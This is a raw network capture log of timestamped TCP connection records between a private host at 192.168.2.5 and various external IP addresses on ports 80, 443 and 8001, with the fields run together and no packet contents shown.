                                                                                                                                                                                                          Aug 23, 2024 18:42:25.750869989 CEST4972580192.168.2.5172.234.222.143
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.756083012 CEST8049725172.234.222.143192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.879391909 CEST4972880192.168.2.513.248.169.48
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.884418964 CEST804972813.248.169.48192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.884507895 CEST4972880192.168.2.513.248.169.48
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.884602070 CEST4972880192.168.2.513.248.169.48
                                                                                                                                                                                                          Aug 23, 2024 18:42:25.889935017 CEST804972813.248.169.48192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:26.894043922 CEST4973080192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:26.899358034 CEST8049730188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:26.899415016 CEST4973080192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:26.906724930 CEST4973080192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:26.911755085 CEST8049730188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:26.984715939 CEST4973180192.168.2.518.208.156.248
                                                                                                                                                                                                          Aug 23, 2024 18:42:26.989587069 CEST804973118.208.156.248192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:26.989662886 CEST4973180192.168.2.518.208.156.248
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.004400015 CEST4973180192.168.2.518.208.156.248
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.009263992 CEST804973118.208.156.248192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.207014084 CEST4973380192.168.2.5103.150.11.230
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.212241888 CEST8049733103.150.11.230192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.212316036 CEST4973380192.168.2.5103.150.11.230
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.212459087 CEST4973380192.168.2.5103.150.11.230
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.219257116 CEST8049733103.150.11.230192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.546565056 CEST804973118.208.156.248192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.546643019 CEST4973180192.168.2.518.208.156.248
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.547528982 CEST804973118.208.156.248192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.547589064 CEST4973180192.168.2.518.208.156.248
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.547784090 CEST4973180192.168.2.518.208.156.248
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.554615974 CEST804973118.208.156.248192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.783406019 CEST8049708162.255.119.102192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:27.783485889 CEST4970880192.168.2.5162.255.119.102
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.191149950 CEST8049733103.150.11.230192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.191274881 CEST4973380192.168.2.5103.150.11.230
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.197144985 CEST497368001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.201951981 CEST800149736106.15.137.66192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.202020884 CEST497368001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.202159882 CEST497368001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.207557917 CEST800149736106.15.137.66192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.454253912 CEST8049730188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.454333067 CEST4973080192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.463259935 CEST49737443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.463285923 CEST44349737188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.463351011 CEST49737443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.463920116 CEST49737443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.463931084 CEST44349737188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.931149960 CEST44349737188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.931238890 CEST49737443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.944011927 CEST49737443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.944041967 CEST44349737188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.944310904 CEST44349737188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.944384098 CEST49737443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.944885969 CEST49737443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:42:28.988507032 CEST44349737188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.305680037 CEST800149736106.15.137.66192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.305775881 CEST497368001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.305969000 CEST800149736106.15.137.66192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.306432009 CEST497368001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.306448936 CEST800149736106.15.137.66192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.306690931 CEST497368001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.307038069 CEST4973380192.168.2.5103.150.11.230
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.311917067 CEST8049733103.150.11.230192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.671279907 CEST8049733103.150.11.230192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.671761990 CEST4973380192.168.2.5103.150.11.230
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.674015045 CEST497368001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.674108982 CEST497368001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.674463034 CEST497408001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.678972006 CEST800149736106.15.137.66192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.679050922 CEST497368001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.679419041 CEST800149740106.15.137.66192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.679630995 CEST497408001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.679687977 CEST497408001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:29.684576988 CEST800149740106.15.137.66192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:30.796144009 CEST800149740106.15.137.66192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:30.796216965 CEST497408001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:30.796372890 CEST497408001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:30.796395063 CEST497408001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:30.796534061 CEST800149740106.15.137.66192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:30.799570084 CEST497408001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:30.801294088 CEST800149740106.15.137.66192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:30.801384926 CEST497408001192.168.2.5106.15.137.66
                                                                                                                                                                                                          Aug 23, 2024 18:42:36.380106926 CEST804972813.248.169.48192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:36.380225897 CEST4972880192.168.2.513.248.169.48
                                                                                                                                                                                                          Aug 23, 2024 18:42:36.380330086 CEST4972880192.168.2.513.248.169.48
                                                                                                                                                                                                          Aug 23, 2024 18:42:36.382088900 CEST4974180192.168.2.513.248.169.48
                                                                                                                                                                                                          Aug 23, 2024 18:42:36.385164022 CEST804972813.248.169.48192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:36.386939049 CEST804974113.248.169.48192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:36.387025118 CEST4974180192.168.2.513.248.169.48
                                                                                                                                                                                                          Aug 23, 2024 18:42:36.387193918 CEST4974180192.168.2.513.248.169.48
                                                                                                                                                                                                          Aug 23, 2024 18:42:36.392520905 CEST804974113.248.169.48192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.836781979 CEST6068480192.168.2.53.64.163.50
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.841840029 CEST80606843.64.163.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.842000008 CEST6068480192.168.2.53.64.163.50
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.849085093 CEST6068480192.168.2.53.64.163.50
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.853905916 CEST80606843.64.163.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.926892996 CEST804974113.248.169.48192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:46.926971912 CEST4974180192.168.2.513.248.169.48
                                                                                                                                                                                                          Aug 23, 2024 18:42:47.184885025 CEST4974180192.168.2.513.248.169.48
                                                                                                                                                                                                          Aug 23, 2024 18:42:47.189892054 CEST804974113.248.169.48192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:47.479645014 CEST80606843.64.163.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:47.479722023 CEST6068480192.168.2.53.64.163.50
                                                                                                                                                                                                          Aug 23, 2024 18:42:47.546861887 CEST6068480192.168.2.53.64.163.50
                                                                                                                                                                                                          Aug 23, 2024 18:42:47.551830053 CEST80606843.64.163.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:47.735388994 CEST80606843.64.163.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:42:47.735450983 CEST6068480192.168.2.53.64.163.50
                                                                                                                                                                                                          Aug 23, 2024 18:42:58.294745922 CEST49737443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:00.288718939 CEST4973080192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:00.293541908 CEST8049730188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:00.680912018 CEST8049730188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:00.681001902 CEST4973080192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:01.208540916 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:01.208590984 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:01.208677053 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:01.253012896 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:01.253041029 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:01.727216005 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:01.727281094 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:01.799834967 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:01.799855947 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:01.800038099 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:01.800045013 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.752044916 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.752089024 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.752123117 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.752151012 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.752192020 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.752221107 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.752238989 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.752252102 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.752259970 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.752288103 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.752299070 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.752830029 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.752876043 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.752885103 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.755484104 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.756901979 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.759165049 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.759172916 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.763158083 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.784073114 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.784167051 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.784178972 CEST44360696188.114.96.3192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:05.784234047 CEST60696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.208023071 CEST6351780192.168.2.564.225.91.73
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.217647076 CEST806351764.225.91.73192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.217735052 CEST6351780192.168.2.564.225.91.73
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.217880011 CEST6351780192.168.2.564.225.91.73
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.222739935 CEST806351764.225.91.73192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.441557884 CEST6351880192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.446552992 CEST806351844.221.84.105192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.446616888 CEST6351880192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.448183060 CEST6351880192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.453193903 CEST806351844.221.84.105192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.627696037 CEST6351980192.168.2.5103.224.212.210
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.638086081 CEST8063519103.224.212.210192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.638144970 CEST6351980192.168.2.5103.224.212.210
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.638278008 CEST6351980192.168.2.5103.224.212.210
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.643306971 CEST8063519103.224.212.210192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.698656082 CEST6352080192.168.2.515.197.240.20
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.703725100 CEST806352015.197.240.20192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.703783035 CEST6352080192.168.2.515.197.240.20
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.703964949 CEST6352080192.168.2.515.197.240.20
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.708745003 CEST806352015.197.240.20192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.803102970 CEST6352180192.168.2.5154.85.183.50
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.808089972 CEST8063521154.85.183.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.808156013 CEST6352180192.168.2.5154.85.183.50
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.808324099 CEST6352180192.168.2.5154.85.183.50
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.813160896 CEST8063521154.85.183.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.834067106 CEST806351764.225.91.73192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.834132910 CEST6351780192.168.2.564.225.91.73
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.844821930 CEST6352280192.168.2.5103.224.182.252
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.849586010 CEST8063522103.224.182.252192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.849647999 CEST6352280192.168.2.5103.224.182.252
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.850079060 CEST6352280192.168.2.5103.224.182.252
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.855777025 CEST8063522103.224.182.252192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.931480885 CEST806351844.221.84.105192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.931525946 CEST6351880192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.931560040 CEST806351844.221.84.105192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.931596041 CEST6351880192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.933362961 CEST6351880192.168.2.544.221.84.105
                                                                                                                                                                                                          Aug 23, 2024 18:43:06.938155890 CEST806351844.221.84.105192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.276716948 CEST8063519103.224.212.210192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.276878119 CEST6351980192.168.2.5103.224.212.210
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.279280901 CEST6351980192.168.2.5103.224.212.210
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.280111074 CEST8063519103.224.212.210192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.280293941 CEST6351980192.168.2.5103.224.212.210
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.284143925 CEST8063519103.224.212.210192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.468786955 CEST8063522103.224.182.252192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.468982935 CEST8063522103.224.182.252192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.469104052 CEST6352280192.168.2.5103.224.182.252
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.472320080 CEST6352280192.168.2.5103.224.182.252
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.477102995 CEST8063522103.224.182.252192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.617682934 CEST6352480192.168.2.5199.59.243.226
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.629784107 CEST8063524199.59.243.226192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.629988909 CEST6352480192.168.2.5199.59.243.226
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.630143881 CEST6352480192.168.2.5199.59.243.226
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.636542082 CEST8063524199.59.243.226192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.701025009 CEST8063521154.85.183.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.701205969 CEST6352180192.168.2.5154.85.183.50
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.702388048 CEST6352180192.168.2.5154.85.183.50
                                                                                                                                                                                                          Aug 23, 2024 18:43:07.708412886 CEST8063521154.85.183.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.050574064 CEST8063521154.85.183.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.051045895 CEST6352180192.168.2.5154.85.183.50
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.055150986 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.064671993 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.064893007 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.065329075 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.070280075 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.112518072 CEST8063524199.59.243.226192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.112626076 CEST8063524199.59.243.226192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.112662077 CEST6352480192.168.2.5199.59.243.226
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.112716913 CEST8063524199.59.243.226192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.112746954 CEST6352480192.168.2.5199.59.243.226
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.112838030 CEST6352480192.168.2.5199.59.243.226
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.113724947 CEST6352480192.168.2.5199.59.243.226
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.113981009 CEST6352480192.168.2.5199.59.243.226
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.118477106 CEST8063524199.59.243.226192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.118634939 CEST6352480192.168.2.5199.59.243.226
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740223885 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740251064 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740272045 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740286112 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740286112 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740295887 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740309954 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740319967 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740319967 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740322113 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740340948 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740350962 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740366936 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740382910 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740394115 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.740453005 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.745203972 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.745253086 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.745264053 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.745304108 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837312937 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837358952 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837369919 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837373018 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837402105 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837424994 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837429047 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837440968 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837454081 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837470055 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837485075 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837507010 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837773085 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837812901 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837850094 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837892056 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837914944 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837925911 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.837955952 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.838327885 CEST806352564.190.63.136192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.838382006 CEST6352580192.168.2.564.190.63.136
                                                                                                                                                                                                          Aug 23, 2024 18:43:14.726299047 CEST8049719154.212.231.82192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:14.726363897 CEST4971980192.168.2.5154.212.231.82
                                                                                                                                                                                                          Aug 23, 2024 18:43:17.170923948 CEST806352015.197.240.20192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:17.172159910 CEST6352080192.168.2.515.197.240.20
                                                                                                                                                                                                          Aug 23, 2024 18:43:17.236092091 CEST6352080192.168.2.515.197.240.20
                                                                                                                                                                                                          Aug 23, 2024 18:43:17.245266914 CEST806352015.197.240.20192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:17.252943993 CEST6353580192.168.2.515.197.240.20
                                                                                                                                                                                                          Aug 23, 2024 18:43:17.257931948 CEST806353515.197.240.20192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:17.258013010 CEST6353580192.168.2.515.197.240.20
                                                                                                                                                                                                          Aug 23, 2024 18:43:17.260711908 CEST6353580192.168.2.515.197.240.20
                                                                                                                                                                                                          Aug 23, 2024 18:43:17.265598059 CEST806353515.197.240.20192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:18.035476923 CEST80497093.64.163.50192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:18.035532951 CEST4970980192.168.2.53.64.163.50
                                                                                                                                                                                                          Aug 23, 2024 18:43:18.952770948 CEST6068480192.168.2.53.64.163.50
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.748397112 CEST806353515.197.240.20192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.748480082 CEST6353580192.168.2.515.197.240.20
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.748586893 CEST6353580192.168.2.515.197.240.20
                                                                                                                                                                                                          Aug 23, 2024 18:43:27.754621983 CEST806353515.197.240.20192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:28.077442884 CEST6268480192.168.2.564.225.91.73
                                                                                                                                                                                                          Aug 23, 2024 18:43:28.084798098 CEST806268464.225.91.73192.168.2.5
                                                                                                                                                                                                          Aug 23, 2024 18:43:28.084878922 CEST6268480192.168.2.564.225.91.73
                                                                                                                                                                                                          Aug 23, 2024 18:43:28.085216045 CEST6268480192.168.2.564.225.91.73
